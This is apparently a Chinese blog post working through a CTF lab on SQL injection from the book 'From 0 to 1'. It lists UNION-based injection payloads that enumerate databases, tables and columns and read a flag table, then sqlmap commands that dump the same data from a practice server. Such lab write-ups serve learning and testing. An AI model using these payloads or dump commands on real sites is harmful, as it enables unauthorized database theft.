刷书《从0到1》第一章之SQL注入

[第一章web入门] SQL注入-1

手工注入

  • 判断回显位置(最好以0或负数开头)
?id=0%27%20union%20select%201,2,3%20--+

位置为3

 

  • 判断字段数
http://e945d5bc-e1cc-4fb2-8e54-40490ac84d22.node3.buuoj.cn/index.php?id=1%27%20order%20by%204--+

 

 

在4就结束说明字符段数为3

 

  • 爆库
0' union select 1,2, group_concat(schema_name) from information_schema.schemata%23 //这里的井号#只能写成URL编码%23,原因是为了方便注释后面的单引号,这里可以爆出所有库

 

  • 爆库2
0' union select 1,database(),user() --+  //这里的爆库与上面的相比不能爆出所有的库

 

  • 查表
0%27%20union%20select%201,2,%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27note%27%23

 

  • 查表2
0%27%20union%20select%201,table_name,3%20from%20information_schema.tables%20where%20table_schema=database()%20limit%200,1%20--+

 

  • 查字段
0%27%20union%20select%201,2,%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=%27fl4g%27%23

 

  • 查字段2
0%27%20union%20select%201,column_name,3%20from%20information_schema.columns%20where%20table_schema=database()%20and%20table_name=%27fl4g%27%20limit%200,1--+

 

 

  • 读取内容
0%27%20union%20select%201,2,group_concat(concat_ws(0x23,fllllag))%20from%20note.fl4g%23

 

  • 读取内容2
?id=-1' union select 1,fllllag,3 from note.fl4g limit 0,1--+

 

 

SQLMAP自动注入

爆出所有的库

sqlmap -u"http://9371a3d2-add7-4ae7-8b4c-274e222b2c37.node3.buuoj.cn/index.php?id=1" --dbs --batch

 

爆note库

sqlmap -u"http://9371a3d2-add7-4ae7-8b4c-274e222b2c37.node3.buuoj.cn/index.php?id=1" -D note  --tables --batch

 

爆表

sqlmap -u"http://9371a3d2-add7-4ae7-8b4c-274e222b2c37.node3.buuoj.cn/index.php?id=1" -D note  -T fl4g --columns --batch

 

爆数据

sqlmap -u"http://9371a3d2-add7-4ae7-8b4c-274e222b2c37.node3.buuoj.cn/index.php?id=1" -D note -T fl4g -C fllllag --dump --batch

 

posted @ 2021-03-29 22:27  原来是甘文川同学  阅读(250)  评论(0)    收藏  举报